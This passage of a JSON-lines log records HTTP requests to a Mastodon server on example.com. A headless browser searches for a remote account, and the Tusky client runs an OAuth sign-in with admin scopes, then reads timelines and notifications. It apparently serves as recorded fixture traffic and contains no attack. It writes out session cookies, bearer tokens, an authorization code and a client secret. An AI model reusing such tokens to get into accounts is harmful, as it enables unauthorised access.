_mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/relationships?with_suspended=true&id[]=117589371958209726&id[]=117589371958209726", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=alice%40remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=https:%2F%2Fremote.example%2Fusers%2Falice&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=https%3A%2F%2Fremote.example%2Fusers%2Falice", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/apps", "headers": ["Host: example.com", "Content-Length: 156", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Content-Type: application/x-www-form-urlencoded"], "body": "client_name=Tusky&redirect_uris=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&scopes=read+write+follow+push+admin%3Aread+admin%3Awrite&website=https%3A%2F%2Ftusky.app"}
|
||||||
|
{"method": "GET", "target": "/packs/throttle-DJD3CaHb.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=W2l04JlLigwdAvXsIy4EvlVd1Ptmg7KSdPF0EgbFrg%2BfdmsX946SRsCXP3n%2BSVSWxbeMeihoEp5iUPHuM50Lso84YxIVjdA1BQyNKzikL2lo2KrdMPklm5yoOWKSNPKSslO%2BjfO8pEk9QTjusM%2BSTvqs6oLFg0wH7oPEd6a3bXcX2qPNkqWbtDReRNQW1dGHBo3ow9o2i%2BJ6NjT4V68EnIViz3ZbUgsnN4fjuefPE9XKp8AuV7ug31EzuY%2BtXVlnC9j1flmfU%2FDRcJvrUDmCyYCYvKKsP6VtfA%3D%3D--Iq2gDgHeLfsGFKU2--FB8j6aSerWEyIpqqGTGo2Q%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/immutable.es-tL0E-S7u.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDAuNTkwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--88ab789cd0698755e1951bb51b721cfc4acc5b54; _mastodon_session=UJ2xL0EEwqyYjkT1doIj1CSZ8bWeuesxm7ed5rVSqQ9h5%2B56jiBCmF%2BVLfwHoovftGNwhrrZmEjC71gB4yGZ0NDq%2BgmiRHu6e5Bfczgfvext3MwTmnNjq3az5L5dz1tKxm3TT2LgvWncIXPSNw757RsvEdgqXN8y4vi3bH1CvK0IQLdE8A5mLHl6lY14EHsGe3j731%2BweyxzenkYynHA9hE4Ib6eXApqFPkmxt%2ButqbF359YwuIh%2FqXCgpWGh%2FDlckV55TKbr%2FJ4S6RJekjjA%2FJD3wa7OgHZenpH5DIbYVEANGAr1dCeBmhFIOaOY6%2BX3q0fgIJLx%2FYyt0JIRQmc9r8JmAvWB9EtbpNc9SdUNuOTjCnB65ZWuu8WpSsNxZyhW7Ck4%2BjQoIPU--sBQ7b%2F50W2Dktyh8--r2gfUWS7BTb44G9nbpeJdQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/video-B-s0PS3Z.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDAuNTkwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--88ab789cd0698755e1951bb51b721cfc4acc5b54; _mastodon_session=UJ2xL0EEwqyYjkT1doIj1CSZ8bWeuesxm7ed5rVSqQ9h5%2B56jiBCmF%2BVLfwHoovftGNwhrrZmEjC71gB4yGZ0NDq%2BgmiRHu6e5Bfczgfvext3MwTmnNjq3az5L5dz1tKxm3TT2LgvWncIXPSNw757RsvEdgqXN8y4vi3bH1CvK0IQLdE8A5mLHl6lY14EHsGe3j731%2BweyxzenkYynHA9hE4Ib6eXApqFPkmxt%2ButqbF359YwuIh%2FqXCgpWGh%2FDlckV55TKbr%2FJ4S6RJekjjA%2FJD3wa7OgHZenpH5DIbYVEANGAr1dCeBmhFIOaOY6%2BX3q0fgIJLx%2FYyt0JIRQmc9r8JmAvWB9EtbpNc9SdUNuOTjCnB65ZWuu8WpSsNxZyhW7Ck4%2BjQoIPU--sBQ7b%2F50W2Dktyh8--r2gfUWS7BTb44G9nbpeJdQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/link_footer-DaHtacuU.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDAuNTkwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--88ab789cd0698755e1951bb51b721cfc4acc5b54; _mastodon_session=UJ2xL0EEwqyYjkT1doIj1CSZ8bWeuesxm7ed5rVSqQ9h5%2B56jiBCmF%2BVLfwHoovftGNwhrrZmEjC71gB4yGZ0NDq%2BgmiRHu6e5Bfczgfvext3MwTmnNjq3az5L5dz1tKxm3TT2LgvWncIXPSNw757RsvEdgqXN8y4vi3bH1CvK0IQLdE8A5mLHl6lY14EHsGe3j731%2BweyxzenkYynHA9hE4Ib6eXApqFPkmxt%2ButqbF359YwuIh%2FqXCgpWGh%2FDlckV55TKbr%2FJ4S6RJekjjA%2FJD3wa7OgHZenpH5DIbYVEANGAr1dCeBmhFIOaOY6%2BX3q0fgIJLx%2FYyt0JIRQmc9r8JmAvWB9EtbpNc9SdUNuOTjCnB65ZWuu8WpSsNxZyhW7Ck4%2BjQoIPU--sBQ7b%2F50W2Dktyh8--r2gfUWS7BTb44G9nbpeJdQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/oauth/authorize?client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&response_type=code&scope=read+write+follow+push+admin%3Aread+admin%3Awrite", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDAuNTkwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--88ab789cd0698755e1951bb51b721cfc4acc5b54; _mastodon_session=UJ2xL0EEwqyYjkT1doIj1CSZ8bWeuesxm7ed5rVSqQ9h5%2B56jiBCmF%2BVLfwHoovftGNwhrrZmEjC71gB4yGZ0NDq%2BgmiRHu6e5Bfczgfvext3MwTmnNjq3az5L5dz1tKxm3TT2LgvWncIXPSNw757RsvEdgqXN8y4vi3bH1CvK0IQLdE8A5mLHl6lY14EHsGe3j731%2BweyxzenkYynHA9hE4Ib6eXApqFPkmxt%2ButqbF359YwuIh%2FqXCgpWGh%2FDlckV55TKbr%2FJ4S6RJekjjA%2FJD3wa7OgHZenpH5DIbYVEANGAr1dCeBmhFIOaOY6%2BX3q0fgIJLx%2FYyt0JIRQmc9r8JmAvWB9EtbpNc9SdUNuOTjCnB65ZWuu8WpSsNxZyhW7Ck4%2BjQoIPU--sBQ7b%2F50W2Dktyh8--r2gfUWS7BTb44G9nbpeJdQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/oauth/authorize", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 337", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/oauth/authorize?client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&response_type=code&scope=read+write+follow+push+admin%3Aread+admin%3Awrite", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDEuODg0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--621494457639e6c6eb96dc9847f947e7067eae30; _mastodon_session=uPLQM1cESL%2B7E3h%2BkoKBVQi7KCEqd1xtga6UA9I59WUUDid3l0CPUZDjd2eUD3ObJDVCg2WB654rgcdC7ries0JT5QS3lgJWd968H%2ByKJO3FNFT5S73yU3g%2FdV2o2WVixDlp4kXM%2FFxQY2qi%2BqTbM9DxNQ%2BakzZO9nUbMQAVxcwVpAV6Ar%2Bd2XsJgUgbg1bqPXCvS5cnNowPxIxJA716KuxPjloQdOlW6%2F%2BiGeNumkownrd8RM%2BTxQxIU7ZJ%2BdY7ULP%2FQk69hYK57bvvYwkEoQEe7Uc2mkeZyHwll7V2ZJ2sjGEQYj24i%2FYUBPND408UiHZpiw%2B1BThKMUC9y%2BioLXRf%2BSmXa9pxyINuCHwAru1JYmSNvee3cOhT5cSvxxr0XSX0%2BFB84pIu0HybMezNInMH0YoskNQ8PiU3iCaRKscVxb%2BkdYE3mlkZnOPNmqco9%2FoU64QX%2FTHsHBrHl7E3wyM92sW%2Bj4BgGsnmsLOJwZttK8HzdYtpeZeDiMSq3q%2FpGS4N%2FTBt3Fy9q41skRqImjEH8swt0rJ%2BrhK0Umu6frQtSIt5QR8PIcnhapSLInLB2dIfIqzr%2BFetsrwbS2tTDjcU3CLaMo%2F2dKsW7yZPYmAqo8r%2Bihflse%2Foilvf6E%2FwU8KRjTOYanz0nRJYAPxiLnMSMqKK3Hk8iEtof8XgpUNJUBAZOOFqWj0zgWRfVXozcZ0YahVvA5voX5VY2cZlkq8haownc9iEMq8WR3xA72pgsEYhaguRu0Tj4AAT0Sbxa5LI2828veKSW5Ij0xsMGqE84L4T9XhTXw%3D%3D--3jplX%2B5kMn1rYgjR--RkT9dVHEnHlML6A1oSPLjQ%3D%3D"], "body": "authenticity_token=1Mm4T7CiD0pg7JgWOzx9DaDkDfw6wIZr68sOX4wv3zpG8Cue1nnjghZJfiMkv3klTKvVjsIG7wFfULuVRvy0Fw&client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&code_challenge=&code_challenge_method=&state=&response_type=code&scope=read+write+follow+push+admin%3Aread+admin%3Awrite&button="}
|
||||||
|
{"method": "GET", "target": "/oauth/authorize/native?code=0RKM5HWLiEdgxhSsAdc56Xz0rTCoSzM2KHEP4tK-AxI", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/oauth/authorize?client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&response_type=code&scope=read+write+follow+push+admin%3Aread+admin%3Awrite", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDQuNDY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--34899739b80b78dbacebc27269fc960182e812c9; _mastodon_session=9wxLvDbvs%2B4cJAY5wLTjjorTBO%2BPSLPRKp0tFNm7qP31dqJBZEdekgK6H3VsiA1f9BjCfSGsN0hgdf76n0%2F4Tz6wdZmlC7mqS1TpbppwbrKVRTlN81vRNL8wdZJa4CkPWlij1ntYugHNsuTRz8R9W%2Fe2hJ7YBPUzc6Bwhs8XrjWWLlas1ukiq2iTdBrQ6EcenlN0d%2FX3B7Nz51Ms18HkxXOS3h777fdvADgW%2F5rYDeuhNEwzHDpfE0YsI8%2BCnbmKVEG82AHngYMnU9hSBtLQ3XCJpw9unP%2FXzCSmAYNN8W07M8nIzMaDOgrdwXZ58IAuV4sIODuFWzXmeDi4%2FPAfGLQpk4ITkple9LgakxVw%2Fr6mN%2BUiKDP%2BJ2N1WF8BfUpkXexORneNr5XZGqWCP5QhusXvFdbkmaNaK6ERSibhytl9Ug2g4j5jZh18ZEUaooPJ1ZhyfaXKQAD9--6qxIvCcQ1DrVYTMI--qK%2Bj%2FW6xZRi3Uom%2ByQHlyw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/typed_functions-Whap35TF.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/oauth/authorize/native?code=0RKM5HWLiEdgxhSsAdc56Xz0rTCoSzM2KHEP4tK-AxI", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDQuNDk2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2c3c1b1932f399d9e0dc408246472dc79d4a8d90; _mastodon_session=WVbdpMQOgJqU6v5xLdF341U3dDbFuAcwM38nlaJ3XAFGhFbNo9uw8EHTpTmJZYhSm5akTxG1MiBx9Krb7XFK02ivN0SWmOmkRRtXXV95CiqgS5zUU65uSWtK1UmROu0Lii%2B3pXfSk8LEMA4x4xlimbtinAfl59GQPZ1AdEYUXS1dDarlWWBMz1grR6HJ5qJgRYQkkWc8ZBRprVvUp5Wat8BQw6RduHXCwoW%2BSff%2F9LINPzewbTFCVgAmgsfzKze1rS9sBH%2BdQr1quGVZZZa8VvldD3n2CWxOK2Ai%2FAmkpat8EyFVJqIsuz%2FHs2nBtdzDX8MXMxDRlG3BThrh%2FRuUk9D8p7sHgREeoHFjK26aHFvLMv%2BpNfCThk4LJH1wmuyzVKNpzzczDbjIYj4do2QuKBM7JFc4%2FBeq7rdTocD1U%2B5y4493xego6ZspgtN%2BWbPAn1CV1lVtC9JAUPCH7ksina6JcrOhfRcICEXVPFNilvxFKhx6CuCo8CWXcisLdQd5ObVaNmS6%2FsCF7ivLjCVFhIB0zTpJa8eQd8KOzK4BsH0Q4su5CQ%3D%3D--HPIAwvQ9fTRbUoEj--WXsg%2Blt%2FBcIPuApPFK39qg%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/oauth/token", "headers": ["Host: example.com", "Content-Length: 295", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Content-Type: application/x-www-form-urlencoded"], "body": "grant_type=authorization_code&code=0RKM5HWLiEdgxhSsAdc56Xz0rTCoSzM2KHEP4tK-AxI&client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&client_secret=AMGHJwUSh7h3W2iG-SEcqtbCZf3TXbKrSh-i1-U-mE8&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&scope=read+write+follow+push+admin%3Aread+admin%3Awrite"}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/verify_credentials", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/apps/verify_credentials", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/instance", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/preferences", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/filters", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/filters", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/markers?timeline%5B%5D=home&timeline%5B%5D=notifications", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/timelines/home?limit=40", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/timelines/public?local=true&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/timelines/tag/python3", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/notifications?exclude_types%5B%5D=follow_request", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
